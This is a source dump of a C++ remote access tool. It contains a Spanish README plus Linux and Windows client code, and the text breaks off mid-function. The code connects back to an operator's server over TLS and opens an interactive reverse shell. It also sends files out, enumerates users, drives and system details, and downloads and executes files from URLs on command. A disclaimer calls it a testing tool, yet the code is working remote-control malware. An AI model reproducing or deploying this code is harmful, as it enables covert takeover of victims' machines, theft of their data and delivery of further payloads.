| ### Funciones incluidas en el cliente 12 | - Conexion atravez de TLS 13 | - Transferencia de archivos 14 | - Shell inversa interactiva 15 | - Recopilacion de informacion 16 | - Descarga de archivos de servidores HTTP(s) 17 | 18 | ### Idioma 19 | Edita el fichero `headers.hpp` y descomenta el lenguaje que quieres usar en el programa. 20 | ```cpp 21 | //Español 22 | #define ES 23 | 24 | //Ingles 25 | #define EN 26 | ``` 27 | 28 | ### Miscelaneo 29 | Para habilitar la salida de texto con colores, o las notificaciones de escritorio(Linux), edita el fichero `headers.hpp` y comenta/descomenta las siguientes lineas para activar/desactivar estas opciones 30 | ```cpp 31 | #define _COLOR 32 | 33 | //Solo linux 34 | #define _NOTIFY 35 | ``` 36 | Para usar la opcion de `notify` se debe instalar `libnotify` en el sistema, y compilar el programa con el archivo `makenotify`. Asi: `make -f makenotify` 37 | 38 | ### Compilando (Cliente) 39 | Edita el archivo `headers.hpp` y comenta/descomenta esta linea: 40 | ```cpp 41 | #define _DEBUG 42 | ``` 43 | para habilitar/deshabilitar la salida de texto a la consola. Edita el archivo `main.cpp` y cambia la siguiente linea: 44 | ```cpp 45 | Cli->Connect("YOUR HOST", "PORT") 46 | ``` 47 | con el host y puerto al cual el cliente se conectara. Si la opcion `#define _DEBUG` se dejara descomentada, entonces el host y el puerto se deben pasar como argumentos al cliente. Ejemplo `./Client 127.0.0.1 31337`. Compilar con `make`. 48 | 49 | ### Compilando (Servidor) 50 | Generar el certificado y llave privada en el servidor con `openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes`, copia ambos archivos `cacer.pem` y `prikvey.pem` en el directorio del servidor. 51 | Edita el archivo `headers.hpp` y modifica la linea 52 | ```cpp 53 | #define Max_Clients 10 54 | ``` 55 | si quieres manejar mas de 10 clientes. Compilar con `make`. 56 | 57 | ### Compilando Servidor/Cliente en Windows 58 | Primero instala Openssl usando uno de los bianrios pre-compilados desde aqui: https://wiki.openssl.org/index.php/Binaries. Descarga msys2 desde aqui: https://www.msys2.org/. Abre la shell de msys2 y actualiza la lista de paquetes con: `pacman -Syu`, despues instala los paquetes requeridos con: `pacman -S mingw-w64-x86_64-toolchain`, luego compila con: `mingw32-make`. 59 | 60 | ### Servidor (Termux) 61 | Para usarlo en termux primero se instala el software requerido: 62 | ```sh 63 | pkg install openssl openssl-tool make git nano 64 | ``` 65 | Luego editar el archivo `headers.hpp` con `nano` y descomentar lo siguiente: 66 | ```cpp 67 | #define _TERMUX 68 | ``` 69 | generar el certificado y la llave privada como se explica arriba, finalmente compilar con `make`. 70 | 71 | ### Comandos del servidor 72 | Escribe `ayuda`, `?`, o `aiuda` a cualquier momento(a excepcion de la shell inversa) para mostrar los comandos disponibles. 73 | 74 | #### Shell Principal 75 | Comando | Descripcion 76 | ------- | ------ 77 | cli | Ejecuta acciones en los clientes 78 | ayuda, ?, aiuda | Muestra comandos disponibles 79 | salir | Finaliza el servidor 80 | 81 | #### Shell Cliente (Modo interactivo) 82 | Commando | Descripcion 83 | -------- | ------ 84 | subir | Sube un archivo local al cliente 85 | descargar | Descarga archivos del cliente 86 | shell | Invoca un shell interactiva inversa 87 | httpd | Fuerza al cliente a descargar un archivo desde una url 88 | info | Obtiene informacion basica del cliente 89 | ayuda, ?, aiuda | Muestra los comandos disponibles 90 | salir | Cierra sesion interactiva (No la conexion) 91 | - Mas en camino... 92 | 93 | ## Probado en 94 | - Debian 95 | - Arch 96 | - Windows 7 97 | - Windows 10 98 | - Android 9 (Termux) 99 | 100 | ## Contribuciones 101 | Cualquier tipo de contribucion es bienvenida!!! 102 | 103 | ## Capturas de pantalla 104 | ![](https://i.imgur.com/r6FewoQ.jpg) 105 | ![](https://i.imgur.com/fUgwlZx.jpg) 106 | ![](https://i.imgur.com/AZqPXmg.jpg) 107 | 108 | ![](https://i.imgur.com/p04wBN1.jpg) 109 | 110 | ![](https://i.imgur.com/NF7cQUC.jpg) 111 | 112 | ![](https://i.imgur.com/7Q4yjxh.jpg) 113 | 114 | ![](https://i.imgur.com/TNRV7kh.jpg) 115 | 116 | # Descargo de responsabilidad (DISCLAIMER) 117 | Este software esta hecho con propositos de pruebas solamente, diseñado para ejecutarse en un ambiente controlado, no debe ejecutar en un ambiente de trabajo real. El desarollador no es responsable de cualquier daño o repercusiones legales. Usalo bajo tu propio riesgo. 118 | -------------------------------------------------------------------------------- /Client/Linux/Info.cpp: -------------------------------------------------------------------------------- 1 | #include "headers.hpp" 2 | #include "Misc.hpp" 3 | #include "Info.hpp" 4 | 5 | bool isNormalShell(const std::string strShell){ 6 | const char strShells[6][6] = {"bash", "sh", "zsh", "ksh", "dash", "rbash"}; 7 | for(int iIt = 0; iIt<6; iIt++){ 8 | if(strShell.find(strShells[iIt]) != std::string::npos){ 9 | return true; 10 | } 11 | } 12 | return false; 13 | } 14 | 15 | void Users(std::vector& vcOutput){ 16 | std::ifstream strmFile("/etc/passwd"); 17 | if(strmFile.is_open()){ 18 | char cBuffer[10240]; 19 | strmFile.read(cBuffer, 10240); 20 | int iBytes = strmFile.gcount(); 21 | if(iBytes > 0){ 22 | cBuffer[iBytes] = '\0'; 23 | std::vector vcTmp; 24 | Misc::strSplit(cBuffer, '\n', vcTmp, 100); 25 | for(int iIt = 0; iIt vcTmp1; 27 | Misc::strSplit(vcTmp[iIt].c_str(), ':', vcTmp1, 8); 28 | if(isNormalShell(vcTmp1[vcTmp1.size()-1].c_str())){ 29 | struct sUsers sTmp; 30 | strncpy(sTmp.cUsername, vcTmp1[0].c_str(), 29); 31 | strncpy(sTmp.cShell, vcTmp1[vcTmp1.size()-1].c_str(), 127); 32 | vcOutput.push_back(sTmp); 33 | } 34 | } 35 | } 36 | strmFile.close(); 37 | } 38 | } 39 | 40 | void Partitions(std::vector& vcOutput){ 41 | std::ifstream strmFile("/proc/partitions"); 42 | if(strmFile.is_open()){ 43 | char cBuffer[128]; 44 | //First two lines dont needed 45 | strmFile.getline(cBuffer, 127); 46 | strmFile.getline(cBuffer, 127); 47 | int iBytes = 0; 48 | while(1){ 49 | strmFile.getline(cBuffer, 127); 50 | if((iBytes = strmFile.gcount()) > 0){ 51 | cBuffer[iBytes] = '\0'; 52 | std::vector vcVector; 53 | Misc::strSplit(std::string(cBuffer), ' ', vcVector, 100); 54 | if(vcVector.size() > 0){ 55 | struct sPartition sTmp; 56 | strncpy(sTmp.cPartition, vcVector[vcVector.size()-1].c_str(), 19); 57 | unsigned long long int uliBytes = Misc::StrToUint(vcVector[vcVector.size()-2].c_str()); 58 | double dSize = ((((uliBytes * 512.00) / 1024.00) / 1024.00) * 2.00) / 1024.00; 59 | sTmp.dParitionSize = dSize; 60 | vcOutput.push_back(sTmp); 61 | } 62 | } else { 63 | break; 64 | } 65 | } 66 | } 67 | } 68 | 69 | 70 | void Cpu(char*& cProcessor, char*& cCpuCores){ 71 | std::ifstream fCpu("/proc/cpuinfo", std::ios::in); 72 | if(fCpu.is_open()){ 73 | char *cTmp = new char[4096]; 74 | fCpu.read(cTmp, 4095); 75 | int iBytes = fCpu.gcount(), iLen = 0; 76 | if(iBytes > 0){ 77 | cTmp[iBytes] = '\0'; 78 | std::string strTmp = cTmp, strModel = "", strCpuCores = "", strFinal = ""; 79 | std::size_t iLocation = 0, nLocation = 0, aLocation = 0; 80 | if((iLocation = strTmp.find("model name")) != std::string::npos){ 81 | if((nLocation = strTmp.find('\n', iLocation)) != std::string::npos){ 82 | if((aLocation = strTmp.find(':', iLocation)) != std::string::npos){ 83 | strModel = strTmp.substr(aLocation+2, nLocation - aLocation-2); 84 | if((iLocation = strTmp.find("cpu cores")) != std::string::npos){ 85 | if((nLocation = strTmp.find('\n', iLocation)) != std::string::npos){ 86 | if((aLocation = strTmp.find(':', iLocation)) != std::string::npos){ 87 | strCpuCores = strTmp.substr(aLocation+2, nLocation - aLocation-2); 88 | strFinal.append(strModel); 89 | iLen = strFinal.length(); 90 | cProcessor = new char[iLen+1]; 91 | strncpy(cProcessor, strFinal.c_str(), iLen); 92 | iLen = strCpuCores.length(); 93 | cCpuCores = new char[iLen+1]; 94 | strncpy(cCpuCores, strCpuCores.c_str(), iLen); 95 | cCpuCores[iLen] = '\0'; 96 | } 97 | } 98 | } 99 | } 100 | } 101 | } 102 | } else { 103 | #ifdef _DEBUG 104 | std::cout<<"Unable to read from file\n"; 105 | error(); 106 | #endif 107 | } 108 | delete[] cTmp; 109 | cTmp = nullptr; 110 | } else { 111 | #ifdef _DEBUG 112 | std::cout<<"Unable to open file\n"; 113 | error(); 114 | #endif 115 | } 116 | } 117 | 118 | int Mem(){ 119 | struct dirent **Dirs; 120 | char cBuffer[20]; 121 | unsigned long long int uliBlockSize = 0; 122 | int iBytes = 0, iRet = 0, iTmp = 0, iTotal = 0; 123 | std::string strTmp = "/sys/devices/system/memory/"; 124 | std::ifstream strmFile("/sys/devices/system/memory/block_size_bytes", std::ios::in); 125 | if(strmFile.is_open()){ 126 | strmFile.read(cBuffer, 19); 127 | iBytes = strmFile.gcount(); 128 | if(iBytes > 0){ 129 | cBuffer[iBytes] = '\0'; 130 | uliBlockSize = strtoumax(cBuffer, nullptr, 16); 131 | iRet = scandir(strTmp.c_str(), &Dirs, nullptr, alphasort); 132 | if(iRet > 0){ 133 | while(iRet--){ 134 | if(strstr(Dirs[iRet]->d_name, "memory") != nullptr){ 135 | std::string strTmp1 = strTmp; 136 | strTmp1.append(Dirs[iRet]->d_name); 137 | strTmp1.append("/online"); 138 | std::ifstream strTmp(strTmp1, std::ios::in); 139 | if(strTmp.is_open()){ 140 | strTmp.read(cBuffer, 3); 141 | iBytes = strTmp.gcount(); 142 | if(iBytes > 0){ 143 | cBuffer[iBytes] = '\0'; 144 | iTmp += atoi(cBuffer); 145 | } 146 | strTmp.close(); 147 | } 148 | } 149 | free(Dirs[iRet]); 150 | Dirs[iRet] = nullptr; 151 | } 152 | iTotal = (((uliBlockSize * iTmp) / 1024) / 1024); //return size in MB 153 | 154 | } else { 155 | iTotal = -1; 156 | } 157 | free(Dirs); 158 | Dirs = nullptr; 159 | } else { 160 | iTotal = -1; 161 | } 162 | strmFile.close(); 163 | } else { 164 | iTotal = -1; 165 | } 166 | return iTotal; 167 | } 168 | 169 | void Uname(char*& cOutput){ 170 | int iLen = 0; 171 | std::string strTmp = ""; 172 | struct utsname sInfo; 173 | uname(&sInfo); 174 | strTmp.append(sInfo.sysname); 175 | strTmp.append(1, ' '); 176 | strTmp.append(sInfo.version); 177 | strTmp.append(1, ' '); 178 | strTmp.append(sInfo.machine); 179 | iLen = strTmp.length(); 180 | cOutput = new char[iLen+1]; 181 | strncpy(cOutput, strTmp.c_str(), iLen); 182 | } 183 | 184 | int UserName(char*& cOutput){ 185 | cOutput = new char[30]; 186 | return getlogin_r(cOutput, 29); 187 | } 188 | 189 | -------------------------------------------------------------------------------- /Client/Windows/Info.cpp: -------------------------------------------------------------------------------- 1 | #include "headers.hpp" 2 | #include "Misc.hpp" 3 | #include "Info.hpp" 4 | 5 | void Users(std::vector& vcOutput){ 6 | LPUSER_INFO_11 lUsers = nullptr; 7 | LPUSER_INFO_11 lTmpuser = nullptr; 8 | DWORD dCount = 0, dHints = 0; 9 | NET_API_STATUS nStatus; 10 | do{ 11 | nStatus = NetUserEnum(nullptr, 11, 0, (LPBYTE*)&lUsers, MAX_PREFERRED_LENGTH, &dCount, &dHints, 0); 12 | if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)){ 13 | if ((lTmpuser = lUsers) != nullptr){ 14 | for (DWORD i = 0; (i < dCount); i++){ 15 | if (lUsers == NULL){ 16 | #ifdef _DEBUG 17 | std::cout<<"An access violation has occurred\n"; 18 | error(); 19 | #endif 20 | break; 21 | } 22 | std::wstring st = lTmpuser->usri11_name; 23 | std::string strTmp(st.begin(), st.end()); 24 | if(strTmp != ""){ 25 | struct sUsers sUser; 26 | strncpy(sUser.cUsername, strTmp.c_str(), UNLEN); 27 | if(lTmpuser->usri11_priv == USER_PRIV_ADMIN){ 28 | sUser.isAdmin = true; 29 | } else { 30 | sUser.isAdmin = false; 31 | } 32 | vcOutput.push_back(sUser); 33 | } 34 | lTmpuser++; 35 | } 36 | } 37 | } 38 | if(lUsers != nullptr){ 39 | NetApiBufferFree(lUsers); 40 | lUsers = nullptr; 41 | } 42 | }while(nStatus == ERROR_MORE_DATA); 43 | if(lUsers != nullptr){ 44 | NetApiBufferFree(lUsers); 45 | lUsers = nullptr; 46 | } 47 | } 48 | 49 | void Drives(std::vector& vcOutput){ 50 | char cDrives[512]; 51 | memset(cDrives, 0, sizeof(cDrives)); 52 | int iRet = GetLogicalDriveStrings(sizeof(cDrives), cDrives); 53 | if (iRet > 0) { 54 | char* p1 = cDrives; 55 | char* p2; 56 | while (*p1 != '\0' && (p2 = strchr(p1, '\0')) != nullptr) { 57 | char cLabel[128]; memset(cLabel, '\0', 128); 58 | char cType[128]; memset(cType, '\0', 128); 59 | iRet = GetVolumeInformationA(p1, cLabel, 128, nullptr, nullptr, nullptr, cType, 128); 60 | if(strlen(cLabel) <= 0){ 61 | UINT dt = GetDriveTypeA(p1); 62 | switch(dt){ 63 | case 0: 64 | strncpy(cLabel, "Unknown drive", 14); 65 | break; 66 | case 1: 67 | strncpy(cLabel, "No volume mounted", 18); 68 | break; 69 | case 2: 70 | strncpy(cLabel, "USB Drive", 10); 71 | break; 72 | case 3: 73 | strncpy(cLabel, "Hard Disk", 10); 74 | break; 75 | case 4: 76 | strncpy(cLabel, "Remote Drive", 13); 77 | break; 78 | case 5: 79 | strncpy(cLabel, "CD-ROM", 7); 80 | break; 81 | case 6: 82 | strncpy(cLabel, "RAM Disk", 9); 83 | break; 84 | default: 85 | strncpy(cLabel, "Unknown Drive", 14); 86 | break; 87 | } 88 | } 89 | struct sDrives sDrive; 90 | if(iRet != 0){ 91 | __int64 FreeBytesAvaiableToUser, TotalFreeBytes; 92 | GetDiskFreeSpaceEx(p1, (PULARGE_INTEGER)&FreeBytesAvaiableToUser, (PULARGE_INTEGER)&TotalFreeBytes, nullptr); 93 | double dFreegigs = (((double)(FreeBytesAvaiableToUser / 1024) / 1024) / 1024); 94 | double dTotalgigs = (((double)(TotalFreeBytes / 1024) / 1024) / 1024); 95 | strncpy(sDrive.cLetter, p1, 10); 96 | strncpy(sDrive.cLabel, cLabel, 50); 97 | strncpy(sDrive.cType, cType, 20); 98 | sDrive.dFree = dFreegigs; 99 | sDrive.dTotal = dTotalgigs; 100 | } else { 101 | strncpy(sDrive.cLetter, p1, 10); 102 | strncpy(sDrive.cLabel, cLabel, 50); 103 | strncpy(sDrive.cType, "-", 2); 104 | sDrive.dFree = 0; 105 | sDrive.dTotal = 0; 106 | } 107 | vcOutput.push_back(sDrive); 108 | p1 = p2 + 1; 109 | } 110 | 111 | } 112 | 113 | } 114 | 115 | 116 | void Cpu(char*& cProcessor, char*& cArch){ 117 | int CPUInfo[4] = {-1}; 118 | char CPUBrandString[100]; 119 | __cpuid(CPUInfo, 0x80000000); 120 | unsigned int nExIds = CPUInfo[0]; 121 | memset(CPUBrandString, 0, sizeof(CPUBrandString)); 122 | for (unsigned int i=0x80000000; i<=nExIds; ++i){ 123 | __cpuid(CPUInfo, i); 124 | if (i == 0x80000002){ 125 | memcpy(CPUBrandString, CPUInfo, sizeof(CPUInfo)); 126 | } else if(i == 0x80000003){ 127 | memcpy(CPUBrandString + 16, CPUInfo, sizeof(CPUInfo)); 128 | } else if (i == 0x80000004){ 129 | memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo)); 130 | } 131 | } 132 | std::string strTmp = std::string(CPUBrandString).substr(6, strlen(CPUBrandString) -6); //chop blank space 133 | cProcessor = new char[strTmp.length()+1]; 134 | memset(cProcessor, 0, strTmp.length()+1); 135 | strncpy(cProcessor, strTmp.c_str(), strTmp.length()); 136 | 137 | SYSTEM_INFO sInfo; 138 | GetNativeSystemInfo(&sInfo); 139 | switch(sInfo.wProcessorArchitecture){ 140 | case 9: 141 | cArch = new char[20]; 142 | strncpy(cArch, "x64 (AMD or INTEL)", 19); 143 | break; 144 | case 5: 145 | cArch = new char[5]; 146 | strncpy(cArch, "ARM", 4); 147 | break; 148 | case 12: 149 | cArch = new char[8]; 150 | strncpy(cArch, "ARM64", 7); 151 | break; 152 | case 6: 153 | cArch = new char[21]; 154 | strncpy(cArch, "Intel Itanium-based", 20); 155 | break; 156 | case 0: 157 | cArch = new char[5]; 158 | strncpy(cArch, "x86", 4); 159 | break; 160 | default: 161 | cArch = new char[8]; 162 | strncpy(cArch, "Unknow", 7); 163 | break; 164 | } 165 | } 166 | 167 | void OS(char*& cOS){ 168 | //os regedit 169 | HKEY hKey; 170 | auto ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), 0, KEY_QUERY_VALUE, &hKey); 171 | if (ret != ERROR_SUCCESS){ 172 | #ifdef _DEBUG 173 | std::cout<<"Ret "<ai_next){ 19 | if((sckDownloadSocket = socket(strctP->ai_family, strctP->ai_socktype, strctP->ai_protocol)) == -1){ 20 | #ifdef _DEBUG 21 | std::cout<<"Socker error\n"; 22 | error(); 23 | #endif 24 | continue; 25 | } 26 | if(connect(sckDownloadSocket, strctP->ai_addr, strctP->ai_addrlen) == -1){ 27 | #ifdef _DEBUG 28 | std::cout<<"Error connecting\n"; 29 | error(); 30 | #endif 31 | continue; 32 | } 33 | break; 34 | } 35 | if(strctP == nullptr){ 36 | freeaddrinfo(strctServer); 37 | return -1; 38 | } 39 | freeaddrinfo(strctServer); 40 | return this->sckDownloadSocket; 41 | } 42 | 43 | bool Downloader::Download(const char* cUrl, std::string& strFile){ 44 | std::vector vcUrl, vcUrl2; 45 | Misc::strSplit(cUrl, '/', vcUrl, 50); //increase this for larger subdirectories or url 46 | if(vcUrl.size() < 2){ 47 | #ifdef _DEBUG 48 | std::cout<<"Unable to parse url "< 0){ 132 | memset(cBuffer, 0, 2049); 133 | if(isSSL){ 134 | iBytesReaded = SSL_read(ssl, cBuffer, 2048); 135 | } else { 136 | iBytesReaded = recv(sckDownloadSocket, cBuffer, 2048, 0); 137 | } 138 | 139 | if(iBytesReaded > 0){ 140 | cBuffer[iBytesReaded] = '\0'; 141 | strTmpResponse = cBuffer; 142 | if(strTmpResponse.find("HTTP/1.1 200 ") != std::string::npos || strTmpResponse.find("HTTP/1.0 200 ") != std::string::npos){ 143 | memcpy(cFileBuffer, cBuffer, iBytesReaded); 144 | iLocation = strTmpResponse.find("filename="); 145 | if(iLocation != std::string::npos){ 146 | iNLocation = strTmpResponse.find("\r", iLocation); 147 | if(iNLocation != std::string::npos){ 148 | strTmp = strTmpResponse.substr(iLocation +9, (iNLocation - iLocation) - 9); 149 | strFile = strTmp; 150 | } 151 | } 152 | if(uliFileSize == 0){ 153 | iLocation = strTmpResponse.find("Content-Length: "); 154 | if(iLocation != std::string::npos){ 155 | iNLocation = strTmpResponse.find('\r', iLocation); 156 | if(iNLocation != std::string::npos){ 157 | strTmp = strTmpResponse.substr(iLocation + 16, (iNLocation - iLocation) - 16); 158 | uliFileSize = Misc::StrToUint(strTmp.c_str()); 159 | uliResponseTotalBytes = uliFileSize + HeaderEnd; 160 | #ifdef _DEBUG 161 | std::cout<<"File size is "< 0){ 204 | sFile.write(cFileBuffer, iBytesReaded); 205 | uliBytesSoFar += iBytesReaded; 206 | #ifdef _DEBUG 207 | Misc::ProgressBar(uliBytesSoFar, uliResponseTotalBytes); 208 | std::fflush(stdout); 209 | #endif 210 | if(uliBytesSoFar>=uliResponseTotalBytes){ 211 | bFlag = true; 212 | goto releaseSSL; 213 | } 214 | } else { 215 | if(isSSL){ 216 | switch(SSL_get_error(ssl, iBytesReaded)){ 217 | case SSL_ERROR_NONE: 218 | continue; 219 | break; 220 | case SSL_ERROR_ZERO_RETURN: 221 | #ifdef _DEBUG 222 | std::cout<<"SSL_ERROR_ZERO_RETURN\n"; 223 | error(); 224 | #endif 225 | bFlag = false; 226 | iErr = 1; 227 | break; 228 | case SSL_ERROR_WANT_READ: 229 | #ifdef _DEBUG 230 | std::cout<<"SSL_ERROR_WANT_READ\n"; 231 | error(); 232 | #endif 233 | bFlag = false; 234 | iErr = 1; 235 | break; 236 | } 237 | } 238 | if(iErr == 1){ 239 | break; 240 | } 241 | if (iBytesReaded == -1) { 242 | #ifdef _DEBUG 243 | std::cout<<"Connection closed\n"; 244 | error(); 245 | #endif 246 | bFlag = false; 247 | goto releaseSSL; 248 | } 249 | } 250 | } 251 | } else if(strTmpResponse.find("HTTP/1.1 301 ") != std::string::npos){ 252 | //follow redirection 253 | iLocation = strTmpResponse.find("Content-Length: "); 254 | if(iLocation != std::string::npos){ 255 | iNLocation = strTmpResponse.find('\r', iLocation); 256 | if(iNLocation != std::string::npos){ 257 | strTmp = strTmpResponse.substr(iLocation + 16, (iNLocation - iLocation) - 16); 258 | uliFileSize = Misc::StrToUint(strTmp.c_str()); 259 | #ifdef _DEBUG 260 | std::cout<<"File size is "<ai_next){ 55 | if((sckDownloadSocket = WSASocket(strctP->ai_family, strctP->ai_socktype, strctP->ai_protocol, nullptr, 0, 0)) == INVALID_SOCKET){ 56 | #ifdef _DEBUG 57 | std::cout<<"Socker error\n"; 58 | error(); 59 | #endif 60 | continue; 61 | } 62 | if(WSAConnect(sckDownloadSocket, strctP->ai_addr, strctP->ai_addrlen, 0, 0, 0, 0) != 0){ 63 | #ifdef _DEBUG 64 | std::cout<<"Error connecting\n"; 65 | error(); 66 | #endif 67 | continue; 68 | } 69 | break; 70 | } 71 | if(strctP == nullptr){ 72 | freeaddrinfo(strctServer); 73 | return INVALID_SOCKET; 74 | } 75 | freeaddrinfo(strctServer); 76 | return this->sckDownloadSocket; 77 | } 78 | 79 | bool Downloader::Download(const char* cUrl, std::string& strFile){ 80 | isSSL = false; 81 | bFlag = false; 82 | isRetr = false; 83 | BIO *bioWebSite = nullptr; 84 | SSL *ssl = nullptr; 85 | SSL_CTX *ctxTemp = nullptr; 86 | ctxTemp = SSL_CTX_new(TLS_client_method()); 87 | if(!ctxTemp){ 88 | #ifdef _DEBUG 89 | std::cout<<"SSL_CTX_new error\n"; 90 | error(); 91 | #endif 92 | return false; 93 | } 94 | SSL_CTX_set_options(ctxTemp, SSL_OP_NO_COMPRESSION | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); 95 | 96 | std::vector vcUrl, vcUrl2; 97 | Misc::strSplit(cUrl, '/', vcUrl, 50); //increase this for larger subdirectories or url 98 | if(vcUrl.size() < 2){ 99 | #ifdef _DEBUG 100 | std::cout<<"Unable to parse url "< 0){ 224 | 225 | memset(cBuffer, 0, 4097); 226 | if(isSSL){ 227 | iBytesReaded = SSL_read(ssl, cBuffer, 4096); 228 | } else { 229 | iBytesReaded = recv(sckDownloadSocket, cBuffer, 4096, 0); 230 | } 231 | 232 | if(iBytesReaded > 0){ 233 | #ifdef _DEBUG 234 | std::cout<<"Got "<= uliResponseTotalBytes){ //download was made on first recv 308 | #ifdef _DEBUG 309 | std::cout<<"Download done\n"; 310 | #endif 311 | bFlag = true; 312 | break; 313 | } 314 | while(1){ 315 | if(isSSL){ 316 | iBytesReaded = SSL_read(ssl, cFileBuffer, 1024); 317 | } else { 318 | iBytesReaded = recv(sckDownloadSocket, cFileBuffer, 1024, 0); 319 | } 320 | if(iBytesReaded > 0){ 321 | sFile.write(cFileBuffer, iBytesReaded); 322 | uliBytesSoFar += iBytesReaded; 323 | #ifdef _DEBUG 324 | Misc::ProgressBar(uliBytesSoFar, uliResponseTotalBytes); 325 | std::fflush(stdout); 326 | #endif 327 | if(uliBytesSoFar>=uliResponseTotalBytes){ 328 | bFlag = true; 329 | goto releaseSSL; 330 | } 331 | } else { 332 | if(isSSL){ 333 | if(!CheckSslReturnCode(ssl, iBytesReaded)){ 334 | bFlag = false; 335 | goto releaseSSL; 336 | } 337 | Sleep(1000); 338 | continue; 339 | } 340 | if (iBytesReaded == SOCKET_ERROR) { 341 | #ifdef _DEBUG 342 | std::cout<<"Connection closed\n"; 343 | error(); 344 | std::cout<<"\nWSA: "< vcVec; 46 | std::vector vcVec2; 47 | char *cUname = nullptr, *cCpu = nullptr, *cCores = nullptr, *cUsername = nullptr; 48 | Uname(cUname); 49 | Cpu(cCpu, cCores); 50 | if(UserName(cUsername) == 0){ 51 | strFinal.append(cUsername); 52 | } else { 53 | strFinal.append("unnamed"); 54 | } 55 | strFinal.append(1, '|'); 56 | Partitions(vcVec); 57 | Users(vcVec2); 58 | for(int iIt = 0; iIt 0) { 210 | close(InPipeFD[0]); 211 | close(OutPipeFD[1]); 212 | isRunningShell = true; 213 | 214 | std::thread t1(&Client::threadReadShell, this, std::ref(OutPipeFD[0])); 215 | 216 | char cCmdBuffer[512]; 217 | int iBytes = 0, iLen = 0; 218 | while(isRunningShell){ 219 | iBytes = SSL_read(sslSocket, cCmdBuffer, 511); 220 | if(!CheckSslReturnCode(iBytes)){ 221 | mtxMutex.lock(); 222 | isRunningShell = false; 223 | mtxMutex.unlock(); 224 | #ifdef _DEBUG 225 | std::cout<<"Unable to receive command from server\n"; 226 | error(); 227 | #endif 228 | break; 229 | } else { 230 | if(iBytes < 0){ 231 | usleep(100000); 232 | continue; 233 | } 234 | } 235 | cCmdBuffer[iBytes] = '\0'; 236 | #ifdef _DEBUG 237 | std::cout<<"command "< 0){ 295 | sleep(1); 296 | char *cFileBuffer = nullptr; 297 | int iTmp = 0; 298 | cFileBuffer = new char[iBlockSize]; 299 | while(1){ 300 | strmInputFile.read(cFileBuffer, iBlockSize); 301 | iTmp = strmInputFile.gcount(); 302 | if(iTmp > 0){ 303 | FileSendTryAgain: 304 | int iBytes = SSL_write(sslSocket, cFileBuffer, iTmp); 305 | if(iBytes> 0){ 306 | uBytesSent += iBytes; 307 | #ifdef _DEBUG 308 | Misc::ProgressBar(uBytesSent, uFileSize); 309 | std::fflush(stdout); 310 | #endif 311 | } else { 312 | if(!CheckSslReturnCode(iBytes)){ 313 | break; 314 | } 315 | usleep(2); 316 | goto FileSendTryAgain; 317 | } 318 | } else { 319 | break; 320 | } 321 | } 322 | #ifdef _DEBUG 323 | std::cout<<"\nTransfer done\n"; 324 | #endif 325 | Misc::Free(cFileBuffer, iBlockSize); 326 | } else { 327 | if(!CheckSslReturnCode(iRet)){ 328 | #ifdef _DEBUG 329 | std::cout<<"Unable to send command to server\n"; 330 | error(); 331 | #endif 332 | strmInputFile.close(); 333 | return false; 334 | } else { 335 | usleep(100000); 336 | goto TryAgain2; 337 | } 338 | } 339 | strmInputFile.close(); 340 | return true; 341 | } 342 | 343 | void Client::RetrieveFile(u64 uFileSize,const std::string strLocalFileName){ 344 | #ifdef _DEBUG 345 | std::cout<<"Saving file "< 0){ 370 | strmOutputFile.write(cFileBuffer, iBytesRead); 371 | uTotalBytes += iBytesRead; 372 | #ifdef _DEBUG 373 | Misc::ProgressBar(uTotalBytes, uFileSize); 374 | std::fflush(stdout); 375 | #endif 376 | } else { 377 | if(!CheckSslReturnCode(iBytesRead)){ 378 | #ifdef _DEBUG 379 | std::cout<<"Unable to read packet from server\n"; 380 | error(); 381 | #endif 382 | break; 383 | } 384 | usleep(100000); 385 | } 386 | } 387 | #ifdef _DEBUG 388 | std::cout<<"\nTransfer done "< vcCommands; 400 | Misc::strSplit(strCommand, '@', vcCommands, 10); 401 | if(vcCommands.size() > 0){ 402 | if(vcCommands[0] == CommandCodes::cUpload){ 403 | RetrieveFile(Misc::StrToUint(vcCommands[1].c_str()), vcCommands[3]); 404 | goto release; 405 | } 406 | if(vcCommands[0] == "s"){ 407 | if(vcCommands[1] == "0"){ 408 | #ifdef _DEBUG 409 | std::cout<<"Bye\n"; 410 | #endif 411 | return false; //return false to close connection 412 | } 413 | goto release; 414 | } 415 | if(vcCommands[0] == CommandCodes::cDownload){ 416 | if(SendFile(vcCommands[1])){ 417 | #ifdef _DEBUG 418 | std::cout<<"Send success\n"; 419 | #endif 420 | } 421 | goto release; 422 | } 423 | if(vcCommands[0] == CommandCodes::cShell){ 424 | SpawnShell(vcCommands[1]); 425 | goto release; 426 | } 427 | if(vcCommands[0] == CommandCodes::cHttpd){ 428 | if(Download(vcCommands[1].c_str(), strLocalFileName)){ 429 | #ifdef _DEBUG 430 | std::cout<<"\nDownload success\n"; 431 | #endif 432 | if(vcCommands[2] == "1"){ 433 | #ifdef _DEBUG 434 | std::cout<<"Executing file "<ai_next){ 493 | if((sckSocket = socket(strctP->ai_family, strctP->ai_socktype, strctP->ai_protocol)) == -1){ 494 | #ifdef _DEBUG 495 | std::cout<<"error socket\n"; 496 | error(); 497 | #endif 498 | continue; 499 | } 500 | if(connect(sckSocket, strctP->ai_addr, strctP->ai_addrlen) == -1){ 501 | #ifdef _DEBUG 502 | std::cout<<"error connecting\n"; 503 | error(); 504 | #endif 505 | close(sckSocket); 506 | continue; 507 | } 508 | break; 509 | } 510 | if(strctP == nullptr){ 511 | #ifdef _DEBUG 512 | std::cout<<"unable to connect\n"; 513 | #endif 514 | freeaddrinfo(strctServer); 515 | return false; 516 | } 517 | sslSocket = SSL_new(sslCTX); 518 | if(sslSocket == nullptr){ 519 | #ifdef _DEBUG 520 | std::cout<<"SSL soket error\n"; 521 | error(); 522 | #endif 523 | return false; 524 | } 525 | SSL_set_fd(sslSocket, sckSocket); 526 | if(SSL_connect(sslSocket) == -1){ 527 | freeaddrinfo(strctServer); 528 | #ifdef _DEBUG 529 | std::cout<<"Unable to stablish SSL connection\n"; 530 | error(); 531 | #endif 532 | return false; 533 | } 534 | freeaddrinfo(strctServer); 535 | fcntl(sckSocket, F_SETFL, O_NONBLOCK); 536 | return true; 537 | } 538 | 539 | int Client::SendError(const char* 